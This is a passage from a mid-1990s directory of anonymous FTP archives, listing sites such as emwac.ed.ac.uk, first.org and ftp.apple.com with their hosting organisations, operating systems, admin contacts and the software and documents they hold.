emwac.ed.ac.uk +Country: UK +GMT : 0 +Date : 19-Feb-95 +Source : mccoy@gothamcity.jsc.nasa.gov (Daniel McCoy) +Alias : clyde.ed.ac.uk +Admin : +Organ : University of Edinburgh, Edinburgh, European Microsoft Windows NT + Academic Consortium (EMWAC) +Server : +System : Windows NT (Windows NT, Sequent Winserver 3000) +URL : ftp://emwac.ed.ac.uk/ +Comment: this server has been set up to support and act as a focus for + Windows NT within academia +Files : dviutil; EMWAC; figaro; fingers; gophers; https (mirrored on + www.jsc.nasa.gov); mirrors [?]; ntperl; serweb; waiss + +Site : emx.utexas.edu +Country: USA +GMT : -6 +Date : 10-Sep-94 +Source : Archive-name: games/roguelike; VAX Software List +Alias : +Admin : +Organ : University of Texas - Austin, Austin, Texas, CC +Server : +System : Unix +URL : ftp://emx.utexas.edu/ +Comment: I have some doubts about the phantasia and VMS availability; + emx.cc.utexas.edu is obsolete [maybe this one too, not checked yet] +Files : abwcism; ajit; docs; gatekeeper; images; kermit; lyon; mathlib; + maziar; meav350; music; netinfo; npasswd; patchwork; phantasia; + srips; tajima book; TeX; TeXsis; thenet; VMS software + +Site : en.ecn.purdue.edu +Country: USA +GMT : -5 +Date : 26-Aug-94 +Source : shoppa@altair.krl.caltech.edu (Tim Shoppa) {posting} +Alias : +Admin : +Organ : Purdue University, West-Lafayette, Indiana +Server : +System : Unix +URL : ftp://en.ecn.purdue.edu/ +Comment: +Files : asee_erm; biehl; bouman; carp; csc; Freon; gcc; GHG-12; lundstrom; + nuke; PDP11; stuff; webftp + +Site : enh.nist.gov +Country: USA +GMT : -5 +Date : 22-May-94 +Source : old ftp-list +Alias : +Admin : National Institute for Standards and Technology, Gaithersburg, + Maryland +Organ : +Server : +System : VAX/VMS running Multinet +URL : ftp://enh.nist.gov/ +Comment: default directory: DUA3:[ANONYMOUS] + indexes in MASTER.LST, LS-LR; use cd - or cdup to go to the + root directory (cd / in Unix) and DIR [...] instead of ls -laR +Files : FTP-list + +Site : ento.tamu.edu +Country: USA +GMT : -6 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Texas A&M University, , Texas +Server : +System : +URL : ftp://ento.tamu.edu/ +Comment: Problem: I/O error on network device +Files : VAX/VMS games + +Site : envirolink.org +Country: USA +GMT : +Date : 11-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Envirolink Network +Server : +System : Unix (SunOS 4.1) +URL : ftp://envirolink.org/ +Comment: directory incoming under pub +Files : some ASCII files in incoming + +Site : eo.soest.hawaii.edu +Country: USA +GMT : -10 +Date : 25-Jan-95 +Source : +Alias : +Admin : +Organ : University of Hawaii, Honolulu, Hawaii, + Satellite Oceanography Laboratory +Server : +System : Unix +URL : ftp://eo.soest.hawaii.edu/ +Comment: +Files : GPIB; ICE; MRI; NAVO + +Site : epaibm.rtpnc.epa.gov +Country: USA +GMT : +Date : 23-May-94 +Source : +Alias : nccibm1.rtpnc.epa.gov +Admin : +Organ : Environmental Protection Agency +Server : +System : MVS (IBM MVS 2.2.1) +URL : ftp://epaibm.rtpnc.epa.gov/ +Comment: I have no idea how this system works +Files : NFS DOC; NFS TARB + +Site : epona.physics.ucg.ie +Country: Ireland +GMT : 0 +Date : 23-Aug-94 +Source : chrisl@seds.lpl.arizona.edu (Chris Lewicki) {posting} +Alias : +Admin : +Organ : University CG, , Physics dept. +Server : +System : Unix +URL : ftp://epona.physics.ucg.ie/ +Comment: +Files : 386BSD; astro; audio; cad; cd-index; dsp; earthsci; electronics; + FAQs; fax; fits; games; GCC; GNU; gps; graphics; HPUX; ix86ux; + Linux; Mac; MS-DOS; net; numerical; nuts; oreilly; PGP; physics; + pic; redo; space; transputer; UCG; UnixUG; util; VMS; wbase20; Wine; + WWW; X11; xgames + +Site : epsilon.mathlab.sunysb.edu +Country: USA +GMT : -5 +Date : 16-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : State University of New York - Stoney Brook, Stoney Brook, New York, + Math dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://epsilon.mathlab.sunysb.edu/ +Comment: directories: rico, starship, village +Files : some .gif and .jpg graphics files + +Site : eru.mt.luth.se +Country: Sweden +GMT : +1 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Lulee, Lulee +Server : +System : +URL : ftp://eru.mt.luth.se/ +Comment: +Files : Gnews 19; gated; plp; gcc(old) + +Site : esdim1.nodc.noaa.gov +Country: USA +GMT : -5 +Date : 23-May-94 +Source : +Alias : +Admin : +Organ : NOAA, , , NODC +Server : +System : Unix (SunOS 4.1) +URL : ftp://esdim1.nodc.noaa.gov/ +Comment: +Files : GIFs; Grimm; NOAA FY94 buyout terms; send_dif; sharon + +Site : ese3.ese.ogi.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : ese +Admin : +Organ : Oregon Graduate Institute of Science and Technology, , Oregon, +Server : +System : Unix (SunOS 4.1) +URL : ftp://ese3.ese.ogi.edu/ +Comment: +Files : grtool; xvgr; xmgr; SunView; Xview; Motif; XY plotting tools + +Site : espol.edu.ec +Country: Ecuador +GMT : -7 +Date : 13-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Escuele Politecnica del Litoral (Litoral PolyTechnic), Guayaquil +Server : +System : Unix (SunOS 4.1) +URL : ftp://espol.edu.ec/ +Comment: +Files : Internet-info; PC; PPP; Sun + +Site : esusda.gov +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : +Alias : zeus.esusda.gov +Admin : +Organ : Extension Service US Dept. of Agriculture (ESUSDA), + National Agriculture Library +Server : +System : Unix +URL : ftp://esusda.gov/ +Comment: also available through Gopher +Files : ace; directions; disasters; education; feds; internet; POW; + us-policy; water + +Site : etlport.etl.go.jp +Country: Japan +GMT : +9 +Date : 11-Mar-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : ETL +Server : +System : Unix +URL : ftp://etlport.etl.go.jp/ +Comment: +Files : 386BSD; akcl; alex; arts; barr-wells; benchmark; Canna22; ccipr; + cmucl; datacube; eus; GNU; gs; handa; hence; hol; hp-archive; HPFF; + hterm; IBM-PC; images; ina; inaz; INN; IV3.1; j3100; jTeX; + junet-guide; jvi; kterm; kuniyosh; Larch; laura; Linux; Lisp; lotos; + magna; mh; mime; monsanto-nqs; mule; nemacs; neuro-intro; nevprop; + NNTP; NeXT; OhShow; p4; pam; pclu; poi; prolog; pvm; realtime; + RFCs; robotics; sc22wg13; seimitu; sendmail; shidara; sml; SNSS; + SWoPP; Sun-patches; taniyama; tcl; TeX; Uranus; VHDL; vin; + wadalib-font; X11; xf2.2; xfig2.8; XFree86-2.0; xnetlib; zsh + +Site : euler.eedsp.gatech.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Georgia Tech, Atlanta, Georgia +Server : +System : +URL : ftp://euler.eedsp.gatech.edu/ +Comment: Problem: I/O error on network device +Files : + +Site : explorer.arc.nasa.gov +Country: USA +GMT : -8 +Date : 23-Aug-94 +Source : MODERxx.ZIP; old ftp-list; rrooks@cheux.ecs.umass.edu + (Raymond Rooks) +Alias : +Admin : yee@atlas.arc.nasa.gov (Peter Yee) +Organ : NASA - Ames Research Center, Mountain View, California +Server : +System : Unix +URL : ftp://explorer.arc.nasa.gov/ +Comment: A CD-ROM farm with 84 NASA image and data discs on-line, /cdrom; + also files from the ames.arc.nasa.gov site, /pub/SPACE directory +Files : Images and data mostly of Jet Propulsion Laboratory space probes + Viking, Voyager, Magellan etc. + +Site : explorer.dgtp.toronto.edu +Country: Canada +GMT : -5 +Date : 11-Sep-94 +Source : sgi/anonftp/list +Alias : explorer.dgp.toronto.edu +Admin : +Organ : University of Toronto, Toronto, Ontario +Server : +System : Unix +URL : ftp://explorer.dgtp.toronto.edu/ +Comment: several personal pub directories under /pub +Files : alex; depth; funny; Half-QWERTY; Macsockets; marking; nastos; nms; + radek; SGI; siggraph; stampaper; telepresence; thesis; timelines; + +Site : faui80.informatik.uni-erlangen.de +Country: Germany +GMT : +1 +Date : 15-Dec-94 +Source : mikescott@ix.netcom.com (Michael Scott) {posting} +Alias : +Admin : taube@immd8.informatik.uni-erlangen.de +Organ : Friedrich Alexander Universitaet Erlangen (University of Erlangen), + Erlangen (near Nuernberg), Informatik IV (Betriebssysteme) +Server : +System : Unix +URL : ftp://faui80.informatik.uni-erlangen.de/ +Comment: [probably the same one as faui43.informatik.uni-erlangen.de but I + couldn't connect to that one] +Files : AI db; alloy; asl; camml-full; caml-light; cocktail; concurrent + clean; dai; dictionaries; emacs; haskell; html; IMMD8; jair; kifs; + lisp; literature; lml; nj-sml; ontic; pail; papers; Prolog; Scheme; + sisal; sml; sml2c + +Site : fidelio.rutgers.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : mikescott@ix.netcom.com (Michael Scott) {posting} +Alias : +Admin : +Organ : Rutgers University, Piscataway, New Jersey +Server : +System : Unix +URL : ftp://fidelio.rutgers.edu/ +Comment: +Files : CGSA; june; mv; nj + +Site : figment.mit.edu +Country: USA +GMT : -5 +Date : 13-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts +Server : gopher +System : NeXTStep (NeXT 1.0) +URL : ftp://figment.mit.edu/ +Comment: Venezuela's and Gallileo's gopher server +Files : empty [?] + +Site : first.org +Country: USA +GMT : -5 +Date : 14-Feb-94 +Source : CERT advisories +Alias : +Admin : +Organ : FIRST (National Computer Security Center NCSC), Fort Meade, Maryland +Server : +System : +URL : ftp://first.org/ +Comment: +Files : FIRST/CERT advisories; security related material + +Site : fits.cv.nrao.edu +Country: USA +GMT : -5 +Date : 30-Aug-94 +Source : chrisl@seds.lpl.arizona.edu (Chris Lewicki); old ftp-list +Alias : +Admin : +Organ : +Server : +System : Unix +URL : ftp://fits.cv.nrao.edu/ +Comment: +Files : FITS (Flexible Image Transport System: astronomy image transfer + system) + +Site : flash.bellcore.com +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Bellcore - Bell Research Labs +Server : +System : +URL : ftp://flash.bellcore.com/ +Comment: +Files : mgr; spiff; RFCs; track + +Site : flinux.tu-graz.ac.at +Country: Austria +GMT : +1 +Date : 23-Aug-94 +Source : ftp.tu-graz.ac.at +Alias : +Admin : ftpadmin@flinux.tu-graz.ac.at +Organ : Technischer Universitaet Graz (Graz Institute of Technology), Graz +Server : +System : Unix +URL : ftp://flinux.tu-graz.ac.at/ +Comment: +Files : Doom; graphics (33, 3D, boris, BSD, fantasy, fenn, hajime, mpg, + series); Linux (Debian, handbuch, Linus, lst, network, slacksrc, + slackware, source, sunsite.unc.edu); MS-DOS (archiver, ATI, djgpp, + info, network, Novell, romulus, turbo_C, turbo_pascal, TurboVision, + Ultrasound, virus, XWindows, zip); MUD; Qdeck; Wine + +Site : flop.informatik.tu-muenchen.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : brychcy@informatik.tu-muenchen.de +Organ : Technische Universitaet Muenchen (Munich University of Technology), + Munich, CS dept., TIGKI +Server : +System : Unix +URL : ftp://flop.informatik.tu-muenchen.de/ +Comment: +Files : Alpha; Atari; bib; dfgsa; emsy; EmTeX; fki; gik; i386; ispell; + lispprk; Mac; Minix; Neres; Nethack; Scheme; Simgen; stol; + Sun-patches; talks; tcl; TeX; theory; tptp-library; X11 + +Site : flower.aud.temple.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : sgi/anonftp/list +Alias : sg25.aud.temple.edu +Admin : +Organ : Temple University, Philadelphia, Pennsylvania +Server : +System : Unix +URL : ftp://flower.aud.temple.edu/ +Comment: +Files : fem; MUD; SGI + +Site : flubber.cs.umd.edu +Country: +GMT : -5 +Date : 02-Aug-94 +Source : ftp.sterling.com +Alias : +Admin : purtilo@cs.umd.edu +Organ : University of Maryland, , Maryland +Server : +System : Unix +URL : ftp://flubber.cs.umd.edu/ +Comment: some files to be mirrored on ftp.sterling.com; transfers are + logged; docs moved to thumper.cs.umd.edu +Files : dclipper; rec (archives, bills, charter, cnrlist, docs, faq, + groups, hes, images, programs, reload-reviews, + sounds, targets); tms + +Site : font.ensmp.fr +Country: France +GMT : +1 +Date : 15-Dec-94 +Source : mikescott@ix.netcom.com (Michael Scott) {posting} +Alias : fontainebleau.ensmp.fr +Admin : Ronan.Keryell@cri.ensmp.fr +Organ : Ecole National des Mines - Paris, Paris +Server : +System : Unix +URL : ftp://font.ensmp.fr/ +Comment: +Files : CRI; conf-DES; LaTeXinfo; systems; TeX + +Site : foobar.cs.colorado.edu +Country: USA +GMT : -7 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Colorado - Boulder, Boulder, Colorado +Server : +System : OSF/1 5.60 +URL : ftp://foobar.cs.colorado.edu/ +Comment: +Files : BDF fonts; xtex + +Site : foxtrot.ucsb.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : doug@foxtrot.ucsb.edu +Organ : University of California - Santa Barbara, Santa Barbara, California +Server : +System : NeXTStep (NeXT 1.0) +URL : ftp://foxtrot.ucsb.edu/ +Comment: +Files : XNEXT + +Site : fpspux.fapesp.br +Country: Brazil +GMT : -3 +Date : 22-May-94 +Source : fleming%snfma1@snfma1.if.usp.br (Henrique Fleming {F}) +Alias : +Admin : root@fpspux.fapesp.br +Organ : FAPE Sao Paolo, Sao Paolo +Server : +System : Unix (DEC Station 3100) +URL : ftp://fpspux.fapesp.br/ +Comment: 600Mb disk space; directorylist in /pub3/fpspux_fapesp_br/ls-lR; + max. 100 users; FSP server available +Files : CCITT; docs; graphics; listserv; maps; mirror.inpe; NCSA; packing; + PC; RFCs; security; standards; Sun; TCP/IP; Unix; UnixTeX; Usenet; + viewers; X11 + +Site : free-net.mpls-stpaul.mn.us +Country: USA +GMT : -6 +Date : 30-Oct-94 +Source : Perry.Rovers@kub.nl +Alias : quality.ais.umn.edu +Admin : root@quality.ais.umn.edu +Organ : University of Minnesota/Twin Cities FreeNet, St. Paul, Minnesota, + Quality Initiave +Server : gopher, www +System : Unix +URL : ftp://free-net.mpls-stpaul.mn.us/ +Comment: +Files : Micro software + +Site : freebie.engin.umich.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : old ftp-list +Alias : mingin.engin.umich.edu, knob2.engin.umich.edu +Admin : ftp_support@mingin.engin.umich.edu +Organ : University of Michigan, Ann Arbor, Michigan, CAEN +Server : +System : Unix (Ultrix 4.2) +URL : ftp://freebie.engin.umich.edu/ +Comment: mingin and knob2 are 2 different machines but show the same dir +Files : Apollo; babysit; EMSA+MAS; InterViews; IRC; kperl; mail; Mac; Maple; + Mice; MSA+MAS; netuse; Newsletter; Nihongo; stoprobs; Sun; + technotes; uniqname; urt; usenet; vsh + +Site : freefall.cdrom.com +Country: USA +GMT : -8 +Date : 25-Jan-95 +Source : jkh@freefall.cdrom.com (Jordan Hubbard) {posting} +Alias : +Admin : +Organ : Walnut Creek CD-ROM, Walnut Creek, California +Server : +System : Unix +URL : ftp://freefall.cdrom.com/ +Comment: transfers are logged; DO NOT COPY DES RELATED FILES if you see them + respect US export control laws (if you're not from the US this is) +Files : B-Make; contrib; crashkit; cvs-src; floppy; FPE; FreeBSD; patchkit; + ports; SCSI; sup; Xfree86 + +Site : fresnel.stanford.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Stanford University, Menlo Park, California +Server : +System : Unix (Ultrix 4.1) +URL : ftp://fresnel.stanford.edu/ +Comment: +Files : Iris + +Site : ftp.3com.com +Country: USA +GMT : -8 +Date : 11-Mar-94 +Source : Perry.Rovers@kub.nl +Alias : gatekeeper.3com.com +Admin : ftp@3com.com +Organ : 3COM +Server : +System : Unix +URL : ftp://ftp.3com.com/ +Comment: directories: adapters, cs-utils, internet-drafts, netinfo, pub, + tech-tips, Orange-Book, rfc, ql-archive, 3com-mibs +Files : 3COM technical tips, network info & drivers for 3COM network cards + MIB info; AppleTalk IETF; communication server utilities; elisp; + email; gas-coff; GNU; ids; internet-drafts (mirror); ispell; lpf + (mirror); mib (mirror); MS-DOS; NCSU; network info (mirror of NIC + templates); Orange Book (Trusted Computer System, Evaluation + Criteria); Perl 3.0/4.0; Posix; Quantum Leap (TV show on NBC) + archive; rbcs1; RFCs (mirror); security; sesame_project; snt; + Solaris 2.0; Sun-dist; TeX; viewer; X11R5 + +Site : ftp.academ.com +Country: USA +GMT : -7 +Date : 23-Aug-94 +Source : rsalz@uunet.uu.net (Rich Salz) {posting} +Alias : academ.com +Admin : postmaster@academ.com +Organ : Academ Consulting Services, Houston, Texas +Server : +System : Unix +URL : ftp://ftp.academ.com/ +Comment: Official site for: NNTP Reference implementation, RN newsreader, + UUCP maps for Texas +Files : academ; maps; NNTP; RN + +Site : ftp.acns.nwu.edu +Country: USA +GMT : -6 +Date : 24-Aug-94 +Source : old ftp-list +Alias : casbah.acns.nwu.edu +Admin : +Organ : North Western University +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.acns.nwu.edu/ +Comment: +Files : acns-jobs; acoustic guitar; afcm; bbs.lists; comm-studies; + crowded-house; DalMOO; dicty; disinfectant; firstclass; flatfield; + gabriel; gn; gowebtools; hispanic.studies; jlnstuff; + law-and-politics; listserv; ltp; MDM-II; MS-DOS; murmur; named; + newswatcher; NUPOP (POP3 daemon for MS-DOS); p-speaking; PC Route; + ph; poppassd; recguns; sound-patterns; Sun-dist; superscript; tilt; + wavefront; wif; xpres; zen + +Site : ftp.acs.ncsu.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : straylight.acs.ncsu.edu +Admin : nsysdbj@acs.ncsu.edu +Organ : North Carolina State University, Raleigh, North Carolina, + Administrative Computing Services +Server : +System : Unix +URL : ftp://ftp.acs.ncsu.edu/ +Comment: uploads to /incoming +Files : ACSDocView; OSE; rayshade; RS6000; Sybase; Sybase++ + +Site : ftp.acsu.buffalo.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : irc-faq +Alias : urth.acsu.buffalo.edu +Admin : +Organ : State University of New York - Buffalo, Buffalo, New York +Server : +System : Unix +URL : ftp://ftp.acsu.buffalo.edu/ +Comment: directory: /pub/irc; connections are logged; there are no upload + directories +Files : IRC clients + +Site : ftp.adaptec.com +Country: USA +GMT : +Date : 10-Dec-94 +Source : Nils-Eivind.Naas@isaf.no (Nils-Eivind Naas) {posting} +Alias : milpitas.adaptec.com +Admin : +Organ : Adaptec +Server : +System : Unix +URL : ftp://ftp.adaptec.com +Comment: +Files : Files available from the Adaptec BBS: aspi, dos, eprom, ezscsi, + hardware, netware, os/2, q&a, Unix + +Site : ftp.adelaide.edu.au +Country: Australia +GMT : +10 +Date : 07-Jan-94 +Source : Perry.Rovers@kub.nl +Alias : huon.itd.adelaide.edu.au +Admin : ftp@adelaide.edu.au +Organ : University of Adelaide, Adelaide +Server : +System : +URL : ftp://ftp.adelaide.edu.au/ +Comment: all transfers are logged; when uploading to /tmp, send mail + to the admin for a reason for uploading or it will be deleted; + do not use /tmp for storage or transporting stuff around or + risk your node being banned from this system; Open 24 hours +Files : Unix compression software & sources + +Site : ftp.adobe.com +Country: USA +GMT : -8 +Date : 16-Mar-94 +Source : sserb@vnet.ibm.com (Sorin Serb) +Alias : ftp-relay; +Admin : archive-keepers@mv.us.adobe.com +Organ : Adobe Systems Inc. +Server : ps-file-server@adobe.com +System : Unix +URL : ftp://ftp.adobe.com/ +Comment: read only server; enter a valid e-mailaddress or you will be denied + future access; the files here are currently a mirror of the service + through ps-file-server@adobe.com (this will change soon) +Files : Adobe info, patches, programs, textfiles, updates; AFM files; + Developer support + +Site : ftp.ads.com +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : wally.ads.com +Admin : root@ads.com +Organ : ADS +Server : +System : Unix +URL : ftp://ftp.ads.com/ +Comment: Problem: I/O error on network device; + this site has been having some problems with getting specific + anonymous ftp commands to work; read README for info. +Files : aps; Interviews; muc-public; Vision List archive + +Site : ftp.aggroup.com +Country: USA +GMT : -8 +Date : 11-Mar-94 +Source : mahboud@aggroup.com (Mahboud Zabetian) {posting} +Alias : +Admin : +Organ : AG Group Inc., Walnut Creek, California +Server : +System : Unix (Ultrix 4.1) +URL : ftp://ftp.aggroup.com/ +Comment: +Files : demos; goodies; service; support; upgrades + +Site : ftp.ahk.nl +Country: Netherlands +GMT : +1 +Date : 24-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : asterix.ahk.nl +Organ : Amsterdamse Hogeschool der Kunsten (Amsterdam Academy of Arts), + Amsterdam +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.ahk.nl/ +Comment: +Files : internet (apps, sys, util) + +Site : ftp.ai.mit.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : PC NFS FAQ +Alias : mini-wheats.ai.mit.edu +Admin : +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts, + AI Lab. +Server : +System : Unix +URL : ftp://ftp.ai.mit.edu/ +Comment: refers to publications.ai.mit.edu for publications; several user + pub directories under /pub +Files : 6.824; AI stuff; cube-lovers; GA; hebrew; Iterate; j-machine; + jupiter; lemacs; lisp3; lptrs; mobile-dist-telecomp; pdp8-lovers + archive; pinouts; poker; rbl-94 archive; refer-to-bibtex; + sanger (figures, papers); scheme-libraries; screamer; screen; + series; square-dancing; surf-hippo; tbs; TS; vis; x3j13 + +Site : ftp.ai.uga.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : harold@uga.edu (Harold Pritchett); old ftp-list +Alias : aisun1.ai.uga.edu +Admin : mcovingt@ai.uga.edu (Michael Covington) +Organ : University of Georgia, Athens, Georgia, AI dept. FTP library +Server : +System : Unix (SunOS, Sparcstation) +URL : ftp://ftp.ai.uga.edu/ +Comment: +Files : EmTeX; MS-DOS; natural language processing; OS/2; phonetic fonts; + Prolog; SAS; TeX; UGA logos; Unix; VMS + +Site : ftp.aic.ncl.navy.mil +Country: USA +GMT : +Date : 11-Mar-94 +Source : +Alias : sun15.aic.ncl.navy.mil +Admin : +Organ : US Navy - NCL +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.aic.ncl.navy.mil/ +Comment: several user pub directories under /pub +Files : AICbibs; EC; ifor; papers + +Site : ftp.aip.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP Server List +Alias : babel.aip.de +Admin : ftp-adm@aip.de +Organ : Astrophysikalisches Institut Potsdam (Astrophysical Institute of + Potsdam, Potsdam +Server : +System : +URL : ftp://ftp.aip.de/ +Comment: +Files : astronomers-email-guide; EmTeX + +Site : ftp.alaska.edu +Country: USA +GMT : -10 +Date : 19-Feb-95 +Source : old ftp-list +Alias : raven.alaska.edu +Admin : jay@raven.alaska.edu +Organ : University of Alaska +Server : +System : Unix +URL : ftp://ftp.alaska.edu/ +Comment: transfers are logged +Files : Archive for Coherent OS by Mark Williams Co; MS-DOS (winsock); + OSF/1 (Andrew toolkit, backupsoftware, comm, DEC patches, editors, + GNU, misc, newsreaders, orange book, performance monitoring tools, + problem tracking software); PPP (Mac, PC) + +Site : ftp.alentec.com +Country: +GMT : +Date : +Source : ftp.univ-lyon1.fr +Alias : +Admin : +Organ : Alentec +Server : +System : +URL : ftp://ftp.alentec.com/ +Comment: mirrored on ftp.univ-lyon1.fr +Files : tcpr + +Site : ftp.alisa.com +Country: USA +GMT : -5 +Date : 19-Feb-95 +Source : denny@alisa.com (Bob Denny) {posting} +Alias : info.alisa.com +Admin : dmorgan@alisa.com +Organ : Alisa Systems Inc. +Server : http://www.alisa.com/ +System : Unix +URL : ftp://ftp.alisa.com/ +Comment: max. 50 users; transfers are logged +Files : AlisaMail; Mac Internetsoftware; MS-Windows httpd (mirrored on + www.jsc.nasa.gov); MS-Windows Internetsoftware + +Site : ftp.amdahl.com +Country: USA +GMT : +Date : 30-Oct-94 +Source : old ftp-list +Alias : amdahl.com +Admin : +Organ : Amdahl Corp. +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.amdahl.com/ +Comment: +Files : patch; uma; user public directories + +Site : ftp.amug.org +Country: USA +GMT : -7 +Date : 25-Jan-95 +Source : schur@amug.org {posting} +Alias : amug.org +Admin : ftp-bugs@amug.org +Organ : Arizona Macintosh Users Group, , Arizona +Server : http://www.amug.org/ gopher://gopher.amug.org/ +System : Unix +URL : ftp://ftp.amug.org/ +Comment: max. 15 users +Files : AMUG; blue cow; dejal; demos; ics; Mac internet starter; mirrors: + Aladdin (Stuffit Deluxe), disinfectant, CU-SeeMe, + jagubox.gsfc.nasa.gov, netscape, newton.uiowa.edu, + sumex-aim.stanford.edu; pentium jokes; Peter Lewis + +Site : ftp.andrew.cmu.edu +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : mathew@mantis.co.uk {faq-maintainers list} +Alias : +Admin : +Organ : Carnegie-Mellon University, Pittsburgh, Pennsylvania, + Andrew project +Server : +System : Unix +URL : ftp://ftp.andrew.cmu.edu/ +Comment: +Files : act-r; afsmon; AUIS; Andrew II; cyrus-mail; depot; dpp; emt; + FlySpace; HP700 tools; Kerberos; Mac-Kerberos; Mac-net-software; + MacMail2; mpack (MIME decode/encode program); nvolmon; Post Script + archive [?]; quanta; reflux; rts-trans; Softmgt; Taylor; Unix docs + +Site : ftp.ans.net +Country: USA +GMT : -8 +Date : 22-May-94 +Source : dlist@ora.com +Alias : nis.ans.net +Admin : +Organ : Advanced Networking & Services (ANS), Los Angeles, California, CO+RE +Server : +System : Unix +URL : ftp://ftp.ans.net/ +Comment: +Files : ANS info; archie; DNS; internet-drafts + +Site : ftp.anu.edu.au +Country: Australia +GMT : +10 +Date : 23-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : huxley.anu.edu.au [?] +Admin : +Organ : Australian National University +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.anu.edu.au/ +Comment: +Files : AARNet; cscdocs; gs; icons; library; micro; modem software; NCSA; + patches; pictures; RFCs; security; Solaris; Sun-fixes; technegas; + UNIX PC + +Site : ftp.aol.com +Country: USA +GMT : -5 +Date : 21-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : ftpadmin@aol.com +Organ : America On-Line, Vienna, Virginia +Server : +System : Unix +URL : ftp://ftp.aol.com/ +Comment: +Files : Access software for AOL for Macintosh and MS-Windows + +Site : ftp.apple.com +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : baum@apple.com (Allen J. Baum) {posting}; old ftp-list +Alias : bric-a-brac.apple.com +Admin : +Organ : Apple Computer +Server : +System : Unix +URL : ftp://ftp.apple.com/ +Comment: Please use during non-business hours; refuses access to hosts + which IP addresses do not reverse into a hostname +Files : Apple (Mac, II, IIgs) product info, software, developer support; + Computer History Association of California (CHAC) + +Site : ftp.arc.umn.edu +Country: USA +GMT : -6 +Date : 10-Sep-94 +Source : old ftp-list +Alias : pi1.arc.umn.edu +Admin : +Organ : University of Minnesota, , Minnesota, Army High Performance + Computing Research Center +Server : +System : Unix +URL : ftp://ftp.arc.umn.edu/ +Comment: major disclaimer: authorized users only, monitoring of activities + is possible and using this system implies complying with the + monitoring and recording of activities (hey, this IS the military + you know); loose files in /pub +Files : cse; ee8363; GVL software in /pub; jojo; Motif++ + +Site : ftp.arch.pwr.wroc.pl +Country: Poland +GMT : +1 +Date : 15-Dec-94 +Source : bbo@fih.dk (Bengt Bolinder) {posting} +Alias : novell.arch.pwr.wroc.pl +Admin : supervisor@novell.arch.pwr.wroc.pl +Organ : PWR, Wroclaw +Server : +System : Netware (Netware, PC fileserver) +URL : ftp://ftp.arch.pwr.wroc.pl +Comment: default directory: /HOME/FTP +Files : FAQs; gry; Linux; MS-DOS utils; Novell: adminutils: Qmanager; + obrazki; Pmail; SNMP; Unix; WWW + +Site : ftp.arl.mil +Country: USA +GMT : +Date : 10-Sep-94 +Source : old ftp-list +Alias : wolf.brl.mil, wolf.arl.mil, ftp.brl.mil +Admin : +Organ : ARL/BRL +Server : www: http://ftp.arl.mil +System : Unix +URL : ftp://ftp.arl.mil/ +Comment: Open 24 hours; connected through a T3 (45Mb/sec link); anon.ftp.list + [old!] +Files : arch; arl; brlcad; BSD; BSDI; domain; Gems; GemsII; GNU; historic + computers; images; info-Iris; info-Unix; MBONE; mon; MS3; muves; + nps_panel_lib; patch2.0; security; SGI demos; GIFs; TAPES; TeX; + textures; ttcp; Unix wizards; war; war-GIFs; X11R5; X11R6 + +Site : ftp.armory.com +Country: USA +GMT : -8 +Date : 25-Aug-94 +Source : leavit@armory.com (Thomas Leavitt) {posting}; Perry.Rovers@kub.nl +Alias : deeptht.armory.com +Admin : jon@armory.com (midnight_beach); user@armory.com for /pub/user/user +Organ : The Armory, Santa Cruz, California +Server : www.armory.com +System : Unix +URL : ftp://ftp.armory.com/ +Comment: /pub/index contains an index; /pub/user/leavitt (Canter and Siegel + report) +Files : midnight_beach; several user public directories + +Site : ftp.artcom.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-server List +Alias : kadewe.artcom.de +Admin : ftp-admin@artcom.de +Organ : Art +COM, Berlin +Server : +System : +URL : ftp://ftp.artcom.de/ +Comment: All connections are logged +Files : Amiga; MS-DOS; VMS + +Site : ftp.ask.uni-karlsruhe.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : askhp.ask.uni-karlsruhe.de +Admin : 